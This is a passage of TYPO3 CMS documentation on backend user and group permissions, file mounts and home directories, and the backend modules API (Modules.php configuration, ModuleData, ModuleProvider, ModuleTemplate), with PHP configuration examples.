DB and File Mounts can be set for both the user and group records. Having more than one DB or File Mount will just result in more than one mount point appearing in the trees. However the backend users records have two flags which determine whether the DB/File Mounts of the groups the user belongs to will be mounted as well! This is the default behaviour. So make sure to unset these flags if users should see only their "private" mount points and not those from their groups:

By default DB and File Mounts from groups are set for member users

"Admin" users do not need mount points. As always, they have access to every part of the installation.

Page Permissions

Page permissions are designed to work like file permissions on UNIX systems. Each page record has an owner user and group and permission settings for the owner, the group and "everybody". This is summarized here:

  • Every page has an owner, group and everybody-permission
  • The owner and group of a page can be empty. Nothing matches with an empty user/group (except "admin" users).
  • Every page has permissions for owner, group and everybody in these five categories (next to the label is the corresponding value):

    Show (1)
    See/Copy page and the page content.
    Edit page content (16)
    Change/Add/Delete/Move page content.
    Edit page (2)
    Change/Move the page, eg. change title, startdate, hidden flag.
    Delete page (4)
    Delete the page and page content.
    New pages (8)
    Create new pages under the page.

Page permissions are set and viewed with the module System > Permissions module:

The Access module and its overview of page rights and owners

Editing permissions is described in details in chapter Page permissions.

A user must be "admin" or the owner of a page in order to edit its permissions.

When a user creates new pages in TYPO3 CMS they will by default get the creating user as owner. The owner group will be set to the first listed user group configured for the users record (if any). These defaults can be changed through page TSconfig.

User TSconfig

User TSconfig is a hierarchical configuration structure entered in plain text TypoScript. It can be used by all kinds of applications inside of TYPO3 CMS to retrieve customized settings for users which relates to a certain module or part. The options available are described in the document TSconfig .

Other Options

This chapter presents a few more, miscellaneous options for backend users and groups.

Backend users

Default language

This is the language in which the backend will be localized for the user. The users can change the language themselves in the User Settings module.

Fileoperation permissions
This is a complement to the File Mounts and defines exactly which operations the user is allowed to perform on both files and folders.
Access options
A backend user can be disabled (first flag in the "General" tab). A disabled user cannot log into the backend anymore. Furthermore, in the "Access" tab a start and end time can be given, defining a time interval during which the user will be allowed to log into the backend. Authentication before the start time and after the end time will automatically fail.
Lock to domain
This setting constrains the user to use a specific domain for logging into the TYPO3 backend. This is very useful in setups with multiple sites.

Backend Groups

Disable
Setting this flag will immediately disable the group for all members
Lock to domain
This restricts a group to a given domain. If a user logs in from another domain, that group membership will be ignored.
Hide in lists
This flag will prevent the group from appearing in various listings in TYPO3. This includes modules like System > Access.
Inherit settings from groups (Sub Groups)
Assigns sub-groups to this group. Sub-groups are evaluated before the group including them. If a user is a member of a group which includes one or more sub-groups, the user will also be a member of the sub-groups.

More about file mounts

File mounts require a little more description of the concepts provided by TYPO3. All files are handled by an application layer called the "File Abstraction Layer" (FAL). You can find more information about the basic concepts of FAL.

The FAL is comprised of the following components:

Drivers
Drivers are what makes it possible to access a given type of media storage. The Core provides a driver to access the local file system. Extensions exist that provide a driver for remote systems, like SFTP or platforms like Amazon S3.
Storages

A file storage uses a driver to connect to a given storage system. It is defined by a path pointing into that storage system. There can be several storages using the same driver and pointing to different "directories". The storage configuration depends on the driver it uses.

Thanks to the storage and its driver, the user is able to browse files from within the TYPO3 backend as if they were stored locally.

File mounts
As discussed before, a file mount is the element which is used to actually give access to users to some directories. A file mount is always related to a storage.

Create a new file mount

To create a new file mount go to the module File > Filelist and create the folder for the mount if it didn't exist yet. Then open the context menu on that folder and choose New File mount, then give the new file mount a name. The entry point is already set.

It is also possible to create a file mount manually in the List module by creating a record of type Filemount. In this case you have to choose the storage and folder manually.

Paths for local driver storage

The file storages based on the "local file system" driver have an option for relative or absolute paths.

The paths options for a storage based on the local file system driver

"Relative" means that the given path is relative to the fileadmin/ folder (or whatever other folder was configured using $GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir']. Absolute paths are full paths starting at the root of the file system (i.e. / on Unix systems).

Absolute paths outside of the web root must be explicitly declared in the global configuration option $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']. Any absolute path that you want to declare in a file storage needs to have its first part match the value of $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] (or of the web root, which can be retrieved with \TYPO3\CMS\Core\Core\Environment::getPublicPath()).

As an example, let's say you want to define two storages, one pointing to /home/foo/bar and one pointing to /home/foo/baz. You could declare $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] to be equal to /home/foo/.

Home directories

TYPO3 CMS also features the concept of "home directories". These are paths that are automatically mounted if they are present at a path configured in the global configuration. Thus they don't need to have a file mount record representing them - they just need a properly named directory to be present.

The parent directory of user/group home directories is defined by $GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath'] and $GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath'] respectively. Let's say we define the following:

$GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath'] = '1:user_homes/';
Copied!

The first part of the definition (before the colon :) is the id of a file storage. The second part is a path relative to that file storage. Assuming file storage with a uid of "1" is the default one pointing to fileadmin/, the following path needs to exist on the server: /path/to/web/root/fileadmin/user_homes/.

Then a directory needs to exist for each user. Again let's assume that we have a user with a uid of "3" and a username of "editor", either of those paths would have to exist:

  • /path/to/web/root/fileadmin/user_homes/3/
  • /path/to/web/root/fileadmin/user_homes/3_editor/

The second possibility is more explicit, but will break if the username is changed.

The same goes for groups, but only using the uid. Assuming a group called "editors" with a uid of "1", and:

$GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath'] = '1:groups/';
Copied!

we have to create a directory /path/to/web/root/fileadmin/groups/1/.

Having set up all these properties and folders, the user should see the following when moving to the FILE > Filelist module:

The file list with automatically mounted user and group directories

where only the first mount was explicitly assigned to that user. A different icon visually distinguishes automatic file mounts.

The concept of home directories can be efficiently combined with the TSconfig defaultUploadFolder option, which automatically directs all files uploaded by the user to the given directory.

Backend users module

The System > Backend users module offers a convenient way of working with backend users and groups. It provides a list of both users and groups. The users list can be searched and filtered.

Comparing Users or Groups

The Backend users module offers the possibility to compare users. Just add users using the "+ Compare" button and then hit the "Compare user list" button. For example, this is the comparison of the three different editors provided by the Introduction Package:

Comparing users in the Backers users module

The same functionality is available for user groups, including a comparison of their inherited permissions.

Impersonating Users ("Switch to")

We can impersonate (switch) to a user by clicking the Switch to user action icon:

The button to simulate another user

You will then be logged in as that user (note how the user name is prefixed with "SU" for "Simulated User"). To "switch back", use the "Exit" button (which replaces the usual "Logout" button).

Backend with active simulate user

Backend modules API

This chapter describes the API that can be used to create custom backend modules in extensions. See the following chapter for a tutorial on how to create custom backend modules.

Backend GUI

Describes the graphical user interface structure of a backend module and defines how the different parts are called.

Backend module configuration

Howto register custom modules provided by extensions.

Toplevel modules

Lists all toplevel modules available by default and explains how to register custom toplevel modules.

ModuleProviderAPI

The ModuleProvider API, allows extension authors to work with the registered modules.

BeforeModuleCreationEvent

The PSR-14 BeforeModuleCreationEvent allows extension authors to manipulate the module configuration before it is used to create and register the module.

Button components

The menu button bar of a backend module can hold various components.

Override backend templates

Backend templates can be overridden via page TSconfig. But you should be careful: backend templates are mostly not API and can break on updates.

Tutorial and how to

Learn how to create a backend module step-by-step.

Modules.php - Backend module configuration

The configuration of backend modules is placed in the dedicated Configuration/Backend/Modules.php configuration file.

See also the Backend module configuration examples.

Module configuration options

Name Type
string
string
string
string
array
array
bool
string
string
array of strings or string
string
string
string
bool
array
array
array

parent

parent
Type
string

If the module should be a submodule, the parent identifier, for example web has to be set here. Have a look into the list of available toplevel modules.

Extensions can add additional parent modules, see Toplevel modules.

path

path
Type
string
Default
/module/<mainModule>/<subModule>

Define the path to the default endpoint. The path can be anything, but will fallback to the known /module/<mainModule>/<subModule> pattern, if not set.

access

access
Type
string

Can be user (editor permissions), admin, or systemMaintainer.

workspaces

workspaces
Type
string

Can be * (= always), live or offline. If not set, the value of the parent module - if any - is used.

position

position
Type
array

The module position. Allowed values are top and bottom as well as the key value pairs before => <identifier> and after => <identifier>.

appearance

appearance
Type
array

Allows to define additional appearance options. Currently only appearance.renderInModuleMenu is available.

appearance.renderInModuleMenu

appearance.renderInModuleMenu
Type
bool

If set to false the module is not displayed in the module menu.

iconIdentifier

iconIdentifier
Type
string

The module icon identifier

icon

icon
Type
string

Path to a module icon (Deprecated: Use iconIdentifier instead)

labels

labels
Type
array of strings or string

An array with the following keys:

  • title
  • description
  • shortDescription

The value of each array entry can either be a string containing the static text, or a locallang label reference.

Alternatively define the path of a locallang file reference. A referenced file should contain the following label keys:

  • mlang_tabs_tab (used as module title)
  • mlang_labels_tabdescr (used as module description)
  • mlang_labels_tablabel (used as module short description)

component

component
Type
string
Default
TYPO3/CMS/Backend/Module/Iframe

The view component, responsible for rendering the module.

navigationComponent

navigationComponent
Type
string

Changed in version 14.0

The @typo3/backend/page-tree/page-tree-element, which was deprecated in TYPO3 v13.1, has been removed in favor of @typo3/backend/tree/page-tree-element.

The module navigation component. The following are provided by the Core:

@typo3/backend/tree/page-tree-element
The page tree as used in the Web module.
@typo3/backend/tree/file-storage-tree-container
The file tree as used in the Filelist module.
Migration
'mymodule' => [
    'parent' => 'web',
    ...
-   'navigationComponent' => '@typo3/backend/page-tree/page-tree-element',
+   'navigationComponent' => '@typo3/backend/tree/page-tree-element',
],
Copied!

navigationComponentId

navigationComponentId
Type
string

The module navigation component (Deprecated: Use navigationComponent)

inheritNavigationComponentFromMainModule

inheritNavigationComponentFromMainModule
Type
bool
Default
true

Whether the module should use the parents navigation component. This option defaults to true and can therefore be used to stop the inheritance for submodules.

moduleData

moduleData
Type
array

All properties of the module data object that may be overridden by GET / POST parameters of the request get their default value defined here.

Example

Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
<?php

declare(strict_types=1);

return [
    'my_module' => [
        // ...
        'moduleData' => [
            'allowedProperty' => '',
            'anotherAllowedProperty' => true,
        ],
    ],
];
Copied!

aliases

aliases
Type
array

List of identifiers that are aliases to this module. Those are added as route aliases, which allows to use them for building links, for example with the \TYPO3\CMS\Backend\Routing\UriBuilder . Additionally, the aliases can also be used for references in other modules, for example to specify a module's parent.

Examples

Example for a new module identifier:

Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
<?php

declare(strict_types=1);

return [
    'workspaces_admin' => [
        'parent' => 'web',
        // ...
        // choose the previous name or an alternative name
        'aliases' => ['web_WorkspacesWorkspaces'],
    ],
];
Copied!

Example for a route alias identifier:

Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
<?php

declare(strict_types=1);

return [
    'file_editcontent' => [
        // ...
        'path' => '/file/editcontent',
        'aliases' => ['file_edit'],
    ],
];
Copied!

routeOptions

routeOptions
Type
array

Generic side information that will be merged with each generated \TYPO3\CMS\Backend\Routing\Route::$options array. This can be used for information, that is not relevant for a module aspect, but more relevant for the routing aspect, for example sudo mode.

Default module configuration options (without Extbase)

Name Type
array

routes

routes
Type
array

Define the routes to this module. Each route requires at least the target. The _default route is mandatory, except for modules which can fall back to a submodule. The path of the _default route is taken from the top-level configuration. For all other routes, the route identifier is taken as path, if not explicitly defined. Each route can define any controller/action pair and can restrict the allowed HTTP methods:

Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Classes\Controller\AnotherController;
use MyVendor\MyExtension\Classes\Controller\MyModuleController;

return [
    'my_module' => [
        // ...
        'routes' => [
            '_default' => [
                'target' => MyModuleController::class . '::overview',
            ],
            'edit' => [
                'path' => '/edit-me',
                'target' => MyModuleController::class . '::edit',
            ],
            'manage' => [
                'target' => AnotherController::class . '::manage',
                'methods' => ['POST'],
            ],
        ],
    ],
];
Copied!

All subroutes are automatically registered in a \TYPO3\CMS\Core\Routing\RouteCollection . The full syntax for route identifiers is <module_identifier>.<sub_route>, for example, my_module.edit. Therefore, using the \TYPO3\CMS\Backend\Routing\UriBuilder to create a link to such a sub-route might look like this:

\TYPO3\CMS\Backend\Routing\UriBuilder->buildUriFromRoute('my_module.edit');
Copied!

Extbase module configuration options

Name Type
string
array

extensionName

extensionName
Type
string

The extension name in UpperCamelCase for which the module is registered. If the extension key is my_example_extension the extension name would be MyExampleExtension.

controllerActions

controllerActions
Type
array

Define the controller action pair. The array keys are the controller class names and the values are the actions, which can either be defined as array or comma-separated list:

Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Controller\MyModuleController;

return [
    'web_ExtkeyExample' => [
        //...
        'path' => '/module/web/ExtkeyExample',
        'controllerActions' => [
            MyModuleController::class => [
                'list',
                'detail',
            ],
        ],
    ],
];
Copied!

The modules define explicit routes for each controller/action combination, as long as the enableNamespacedArgumentsForBackend feature toggle is turned off (which is the default). This effectively means human-readable URLs, since the controller/action combinations are no longer defined via query parameters, but are now part of the path.

This leads to the following URLs:

  • https://example.com/typo3/module/web/ExtkeyExample
  • https://example.com/typo3/module/web/ExtkeyExample/MyModule/list
  • https://example.com/typo3/module/web/ExtkeyExample/MyModule/detail

The route identifier of corresponding routes is registered with similar syntax as standard backend modules: <module_identifier>.<controller>_<action>. Above configuration will therefore register the following routes:

  • web_ExtkeyExample
  • web_ExtkeyExample.MyModule_list
  • web_ExtkeyExample.MyModule_detail

Debug the module configuration

All registered modules are stored as objects in a registry. They can be viewed in the backend in the System > Configuration > Backend Modules module.

Exploring registered Backend Modules in the Configuration module

The ModuleProvider API allows extension authors to work with the registered modules.

Backend modules with sudo mode

You can configure the sudo mode in your backend module like this:

EXT:my_extension/Configuration/Backend/Modules.php
<?php

use TYPO3\CMS\Backend\Security\SudoMode\Access\AccessLifetime;

return [
    'tools_ExtensionmanagerExtensionmanager' => [
        // ...
        'routeOptions' => [
            'sudoMode' => [
                'group' => 'systemMaintainer',
                'lifetime' => AccessLifetime::M,
            ],
        ],
    ],
];
Copied!

See also Custom backend modules requiring the sudo mode.

Third-level modules / module functions

Third-level modules are registered in the extension's Configuration/Backend/Modules.php file, the same way as top-level and common modules.

This allows administrators to define access permissions via the module access logic for those modules individually. It also allows to influence the position of the third-level module.

Example

Registration of an additional third-level module for the Web > Template module in the Configuration/Backend/Modules.php file of an extension:

EXT:my_extension/Configuration/Backend/Modules.php
'web_ts_customts' => [
    'parent' => 'web_ts',
    'access' => 'user',
    'path' => '/module/web/typoscript/custom-ts',
    'iconIdentifier' => 'module-custom-ts',
    'labels' => [
        'title' => 'LLL:EXT:extkey/Resources/Private/Language/locallang.xlf:mod_title',
    ],
    'routes' => [
        '_default' => [
            'target' => CustomTsController::class . '::handleRequest',
        ],
    ],
    'moduleData' => [
        'someOption' => false,
    ],
],
Copied!

Toplevel modules

The following toplevel modules are provided by the Core:

web: Web
All modules requiring a page tree by default. These modules are mostly used to manage content that should be displayed in the frontend.
site: Site Management
Settings for the complete site such as redirects and site settings.
file: File
All modules requiring a file system tree such as modules dealing with file metadata, uploading etc.
tools: Admin Tools

By convention modules in this toplevel section should only be available for admins with system maintainer rights. Therefore the configuration array of a module displayed here should always have the following key-value pair: 'access' => 'systemMaintainer'.

In this toplevel section modules that deal with installing and updating the Core and extensions are available. System-wide settings are also found here.

system: System

By convention, modules in this toplevel section should only be accessible by admins. Therefore the configuration array of a module displayed here should always have the following key-value pair: 'access' => 'admin'.

In this toplevel section modules are situated that deal with backend user rights or might reveal security relevant data.

Register a custom toplevel module

Toplevel modules like Web or File are registered in the Configuration/Backend/Modules.php. All toplevel modules provided by the Core are registered in EXT:core so you can look at typo3/sysext/core/Configuration/Backend/Modules.php for reference.

Example:

Register a new toplevel module in your extension:

EXT:my_extension/Configuration/Backend/Modules.php
return [
    'myextension' => [
        'labels' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang_mod_web.xlf',
        'iconIdentifier' => 'modulegroup-myextension',
        'navigationComponent' => '@typo3/backend/page-tree/page-tree-element',
    ]
];
Copied!

Backend GUI

The backend user interface is essentially driven by the "backend" system extension and extended by many other system extensions.

It is divided into the following main areas:

An overview of the visual structure of the backend

Top bar

The top bar is always present. It is itself divided into two areas: the logo and top bar tools.

The logo can be changed using the $GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['backend']['backendLogo'] option. Additional top bar tools can be registered using $GLOBALS['TYPO3_CONF_VARS']['BE']['toolbarItems'] .

Module menu

This is the main navigation. All modules are structured in main modules (which can be collapsed) and submodules which is where the action really happens.

The module menu can be opened or closed by using the icon on the top left.

The chapter Modules.php - Backend module configuration describes how new main or submodules are registered.

Navigation frame

Any backend module may have a navigation frame or not. This frame will typically display the page tree or the folder tree, but custom navigation frames are possible.

The current location (i.e. page or frame) is carried over between navigation frames when changing modules. This means, for example, that when you move from the Web > Page module to the Web > List module, the same page stays selected in the page tree.

DocHeader
This part is always located above the Content area. It will generally contain a drop-down menu called the "Function menu", which allows to navigate into the various functions offered by the module. When editing it will also contain all the buttons necessary for saving, closing or reverting. It may contain additional buttons for shortcuts or any specific feature needed by the module.
Content area
This is the actual work area. Any information to show or content to edit will be displayed here.
Contextual menus

(Right) clicking on record icons will often reveal a contextual menu. New functions can be added to the contextual menus, but the mechanisms vary: the page tree behaves differently than the rest of the backend.

A typical contextual menu appears when clicking on a record icon

DocHeaderComponent

The \TYPO3\CMS\Backend\Template\Components\DocHeaderComponent can be used to display a standardized header section in a backend module with buttons, menus etc. It can also be used to hide the header section in case it is not desired to display it.

The module header displayed by the DocHeaderComponent

You can get the DocHeaderComponent with \TYPO3\CMS\Backend\Template\ModuleTemplate::getDocHeaderComponent from your module template.

DocHeaderComponent API

It has the following methods:

class DocHeaderComponent
Fully qualified name
\TYPO3\CMS\Backend\Template\Components\DocHeaderComponent

DocHeader component class

setMetaInformation ( array $metaInformation)

Set page information

param $metaInformation

Record array

setMetaInformationForResource ( \TYPO3\CMS\Core\Resource\ResourceInterface $resource)
param $resource

the resource

getMenuRegistry ( )

Get moduleMenuRegistry

Returns
\MenuRegistry
getButtonBar ( )

Get ButtonBar

Returns
\ButtonBar
isEnabled ( )

Determines whether this components is enabled.

Returns
bool
enable ( )

Sets the enabled property to TRUE.

disable ( )

Sets the enabled property to FALSE (disabled).

docHeaderContent ( )

Returns the abstract content of the docHeader as an array

Returns
array

Example: Build a module header with buttons and a menu

The following example is extracted from the example Extbase extension t3docs/blog-example . See the complete source code at t3doc/blog-example (GitHub).

We use the DocHeaderComponent to register buttons and a menu to the module header.

Class T3docs\BlogExample\Controller\BackendController
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Template\ModuleTemplate;

class BackendController extends ActionController
{
    private function modifyDocHeaderComponent(ModuleTemplate $view, string &$context): void
    {
        $menu = $this->buildMenu($view, $context);
        $view->getDocHeaderComponent()->getMenuRegistry()->addMenu($menu);

        $buttonBar = $view->getDocHeaderComponent()->getButtonBar();
        $this->addButtons($buttonBar);

        $metaInformation = $this->getMetaInformation();
        if (is_array($metaInformation)) {
            $view->getDocHeaderComponent()->setMetaInformation($metaInformation);
        }
    }

    protected function initializeModuleTemplate(
        ServerRequestInterface $request,
    ): ModuleTemplate {
        $view = $this->moduleTemplateFactory->create($request);

        $context = '';
        $this->modifyDocHeaderComponent($view, $context);
        $view->setFlashMessageQueue($this->getFlashMessageQueue());
        $view->setTitle(
            $this->getLanguageService()->sL('LLL:EXT:blog_example/Resources/Private/Language/Module/locallang_mod.xlf:mlang_tabs_tab'),
            $context,
        );

        return $view;
    }
}
Copied!

Module data object

The \TYPO3\CMS\Backend\Module\ModuleData object contains the user specific module settings, for example whether the clipboard is shown, for the requested module. Those settings are fetched from the user's session. A PSR-15 middleware automatically creates the object from the stored user data and attaches it to the PSR-7 Request.

The \TYPO3\CMS\Backend\Module\ModuleData object is available as attribute of the PSR-7 Request - in case a TYPO3 backend module is requested - and contains the stored module data, which might have been overwritten through the current request (with GET / POST).

Through the module registration one can define, which properties can be overwritten via GET / POST and their default value.

The whole determination is done before the requested route target - usually a backend controller - is called. This means, the route target can read the final module data.

The allowed properties are defined with their default value in the module registration:

EXT:my_extension/Configuration/Backend/Modules.php
'moduleData' => [
    'allowedProperty' => '',
    'anotherAllowedProperty' => true,
],
Copied!
EXT:my_extension/Classes/Controller/MyController.php
$MOD_SETTINGS = $request->getAttribute('moduleData');
Copied!

The ModuleData object provides the following methods:

Method Parameters Description
createFromModule() $module $data Create a new object for the given module, while overwriting the default values with $data.
getModuleIdentifier()   Returns the related module identifier
get() $propertyName $default Returns the value for $propertyName, or the $default, if not set.
set() $propertyName $value Updates $propertyName with the given $value.
has() $propertyName Whether $propertyName exists.
clean() $propertyName $allowedValues Cleans a single property by the given allowed list and falls back to either the default value or the first allowed value.
cleanUp() $allowedData $useKeys Cleans up all module data, which are defined in the given allowed data list. Usually called with $MOD_MENU in a controller with module menu.
toArray()   Returns the module data as array.

In case a controller needs to store changed module data, this can still be done using $backendUser->pushModuleData('my_module', $this->moduleData->toArray());.

To restrict the values of module data properties, the given ModuleData object can be cleaned, for example, in a controller:

EXT:my_extension/Classes/Controller/MyController.php
$allowedValues = ['foo', 'bar'];
$this->moduleData->clean('property', $allowedValues);
Copied!

If ModuleData contains property, the value is checked against the $allowedValues list. If the current value is valid, nothing happens. Otherwise the value is either changed to the default or if this value is also not allowed, to the first allowed value.

ModuleInterface

The registered backend modules are stored as objects in a registry and can be fetched using the \TYPO3\CMS\Backend\Module\ModuleProvider. All module objects implement the \TYPO3\CMS\Backend\Module\ModuleInterface .

The ModuleInterface basically provides getters for the options defined in the module registration and additionally provides methods for relation handling (main modules and sub modules).

Table of contents

ModuleInterface API

interface ModuleInterface
Fully qualified name
\TYPO3\CMS\Backend\Module\ModuleInterface

An interface representing a TYPO3 Backend module.

getIdentifier ( )

The internal name of the module, used for referencing in permissions etc

Returns
string
getPath ( )

Return the main route path

Returns
string
getIconIdentifier ( )

The icon identifier for the module

Returns
string
getTitle ( )

The title of the module, used in the menu

Returns
string
getDescription ( )

A longer description, common for the "About" section with a long explanation

Returns
string
getShortDescription ( )

A shorter description, used when hovering over a module in the menu as title attribute

Returns
string
isStandalone ( )

Useful for main modules that are also "clickable" such as the dashboard module

Returns
bool
getComponent ( )

Returns the view component responsible for rendering the module (iFrame or name of the web component)

Returns
string
getNavigationComponent ( )

The web component to be rendering the navigation area

Returns
string
getPosition ( )

The position of the module, such as [top] or [bottom] or [after => anotherModule] or [before => anotherModule]

Returns
array
getAppearance ( )

Returns a modules appearance options, e.g. used for module menu

Returns
array
getAccess ( )

Can be user (editor permissions), admin, or systemMaintainer

Returns
string
getWorkspaceAccess ( )

Can be "*" (= empty) or "live" or "offline"

Returns
string
getParentIdentifier ( )

The identifier of the parent module during registration

Returns
string
getParentModule ( )

Get the reference to the next upper menu item

Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
hasParentModule ( )

Can be checked if the module is a "main module"

Returns
bool
hasSubModule ( string $identifier)

Checks whether this module has a submodule with the given identifier

param $identifier

the identifier

Returns
bool
hasSubModules ( )

Checks if this module has further submodules

Returns
bool
getSubModule ( string $identifier)

Return a submodule given by its full identifier

param $identifier

the identifier

Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
getSubModules ( )

Return all direct descendants of this module

Returns
\ModuleInterface[]
getDefaultRouteOptions ( )

Returns module related route options - used for the router

Returns
array
getDefaultModuleData ( )

Get allowed and available module data properties and their default values.

Returns
array
getAliases ( )

Return a list of identifiers that are aliases to this module

Returns
array

ModuleProvider

The ModuleProvider API allows extension authors to work with the registered modules.

This API is the central point to retrieve modules, since it automatically performs necessary access checks and prepares specific structures, for example for the use in menus.

ModuleProvider API

class ModuleProvider
Fully qualified name
\TYPO3\CMS\Backend\Module\ModuleProvider

This is the central point to retrieve modules from the ModuleRegistry, while performing the necessary access checks, which ModuleRegistry does not deal with.

isModuleRegistered ( string $identifier)

Simple wrapper for the registry, which just checks if a module is registered. Does NOT perform any access checks.

param $identifier

the identifier

Returns
bool
getModule ( string $identifier, ?\TYPO3\CMS\Core\Authentication\BackendUserAuthentication $user = NULL, bool $respectWorkspaceRestrictions = true)

Returns a Module for the given identifier. In case a user is given, also access checks are performed.

param $identifier

the identifier

param $user

the user, default: NULL

param $respectWorkspaceRestrictions

the respectWorkspaceRestrictions, default: true

Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
getModules ( ?\TYPO3\CMS\Core\Authentication\BackendUserAuthentication $user = NULL, bool $respectWorkspaceRestrictions = true, bool $grouped = true)

Returns all modules either grouped by main modules or flat.

In case a user is given, also access checks are performed.

param $user

the user, default: NULL

param $respectWorkspaceRestrictions

the respectWorkspaceRestrictions, default: true

param $grouped

the grouped, default: true

Returns
\ModuleInterface[]
getModuleForMenu ( string $identifier, \TYPO3\CMS\Core\Authentication\BackendUserAuthentication $user, bool $respectWorkspaceRestrictions = true)

Return the requested (main) module if exist and allowed, prepared for menu generation or similar structured output (nested). Takes TSConfig into account. Does not respect "appearance[renderInModuleMenu]".

param $identifier

the identifier

param $user

the user

param $respectWorkspaceRestrictions

the respectWorkspaceRestrictions, default: true

Returns
?\TYPO3\CMS\Backend\Module\MenuModule
getModulesForModuleMenu ( \TYPO3\CMS\Core\Authentication\BackendUserAuthentication $user, bool $respectWorkspaceRestrictions = true)

Returns all allowed modules for the current user, prepared for module menu generation or similar structured output (nested).

Takes TSConfig and "appearance[renderInModuleMenu]" into account.

param $user

the user

param $respectWorkspaceRestrictions

the respectWorkspaceRestrictions, default: true

Returns
\MenuModule[]
accessGranted ( string $identifier, \TYPO3\CMS\Core\Authentication\BackendUserAuthentication $user, bool $respectWorkspaceRestrictions = true)

Check access of a module for a given user

param $identifier

the identifier

param $user

the user

param $respectWorkspaceRestrictions

the respectWorkspaceRestrictions, default: true

Returns
bool

ModuleTemplate

Backend controllers should use ModuleTemplateFactory::create() to create instances of a \TYPO3\CMS\Backend\Template\ModuleTemplate .

API functions of the ModuleTemplate can be used to add buttons to the button bar. It also implements the \TYPO3\CMS\Core\View\ViewInterface so values can be assigned to it in the actions.

class ModuleTemplate
Fully qualified name
\TYPO3\CMS\Backend\Template\ModuleTemplate

A class taking care of the "outer" HTML of a module, especially the doc header and other related parts.

assign ( string $key, ?mixed $value)

Add a variable to the view data collection.

param $key

the key

param $value

the value

Returns
self
assignMultiple ( array $values)

Add multiple variables to the view data collection.

param $values

the values

Returns
self
render ( string $templateFileName = '')

Render the module.

param $templateFileName

the templateFileName, default: ''

Returns
string
renderResponse ( string $templateFileName = '')

Render the module and create an HTML 200 response from it. This is a lazy shortcut so controllers don't need to take care of this in the backend.

param $templateFileName

the templateFileName, default: ''

Returns
\Psr\Http\Message\ResponseInterface
setBodyTag ( string $bodyTag)

Set to something like '<body id="foo">' when a special body tag is needed.

param $bodyTag

the bodyTag

Returns
self
setTitle ( string $title, string $context = '')

Title string of the module: "My module · Edit view"

param $title

the title

param $context

the context, default: ''

Returns
self
getDocHeaderComponent ( )

Get the DocHeader. Can be used in controllers to add custom buttons / menus / ... to the doc header.

Returns
\TYPO3\CMS\Backend\Template\Components\DocHeaderComponent
setForm ( string $formTag = '')

A "<form>" tag encapsulating the entire module, including doc-header.

param $formTag

the formTag, default: ''

Returns
self
setModuleId ( string $moduleId)

Optional 'data-module-id="{moduleId}"' on first <div> in body.

Can be helpful in JavaScript.

param $moduleId

the moduleId

Returns
self
setModuleName ( string $moduleName)

Optional 'data-module-name="{moduleName}"' on first <div> in body.

Can be helpful in JavaScript.

param $moduleName

the moduleName

Returns
self
setModuleClass ( string $moduleClass)

Optional 'class="module {moduleClass}"' on first <div> in body.

Can be helpful styling modules.

param $moduleClass

the moduleClass

Returns
self
addFlashMessage ( string $messageBody, string $messageTitle = '', \TYPO3\CMS\Core\Type\ContextualFeedbackSeverity $severity = \TYPO3\CMS\Core\Type\ContextualFeedbackSeverity::OK, bool $storeInSession = true)

Creates a message object and adds it to the FlashMessageQueue.

These messages are automatically rendered when the view is rendered.

param $messageBody

the messageBody

param $messageTitle

the messageTitle, default: ''

param $severity

the severity, default: TYPO3CMSCoreTypeContextualFeedbackSeverity::OK

param $storeInSession

the storeInSession, default: true

Returns
self
setFlashMessageQueue ( \TYPO3\CMS\Core\Messaging\FlashMessageQueue $flashMessageQueue)

ModuleTemplate by default uses queue 'core.template.flashMessages'. Modules may want to maintain an own queue. Use this method to render flash messages of a non-default queue at the default position in module HTML output. Call this method before adding single messages with addFlashMessage().

param $flashMessageQueue

the flashMessageQueue

Returns
self
setUiBlock ( bool $uiBlock)

UI block is a spinner shown during browser rendering phase of the module, automatically removed when rendering finished. This is done by default, but the UI block can be turned off when needed for whatever reason.

param $uiBlock

the uiBlock

Returns
self
makeDocHeaderModuleMenu ( array $additionalQueryParams = [])

Generates a menu in the docheader to access third-level modules

param $additionalQueryParams

the additionalQueryParams, default: []

Returns
self

Example: Create and use a ModuleTemplate in an Extbase Controller

The following example is extracted from the example Extbase extension t3docs/blog-example . See the complete source code at t3doc/blog-example (GitHub).

Class T3docs\BlogExample\Controller\BackendController
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use T3docs\BlogExample\Domain\Model\Post;
use TYPO3\CMS\Backend\Template\ModuleTemplate;

class BackendController extends ActionController
{
    protected function initializeModuleTemplate(
        ServerRequestInterface $request,
    ): ModuleTemplate {
        $view = $this->moduleTemplateFactory->create($request);

        $context = '';
        $this->modifyDocHeaderComponent($view, $context);
        $view->setFlashMessageQueue($this->getFlashMessageQueue());
        $view->setTitle(
            $this->getLanguageService()->sL('LLL:EXT:blog_example/Resources/Private/Language/Module/locallang_mod.xlf:mlang_tabs_tab'),
            $context,
        );

        return $view;
    }

    public function showPostAction(Post $post): ResponseInterface
    {
        $view = $this->initializeModuleTemplate($this->request);
        $view->assign('post', $post);
        return $view->renderResponse('ShowPost');
    }
}
Copied!

ModuleTemplateFactory

The template module factory should be used by backend controllers to create a TYPO3CMSBackendTemplateModuleTemplate.

Table of contents

ModuleTemplateFactory API

class ModuleTemplateFactory
Fully qualified name
\TYPO3\CMS\Backend\Template\ModuleTemplateFactory

A factory class creating backend related ModuleTemplate view objects.

create ( \Psr\Http\Message\ServerRequestInterface $request)
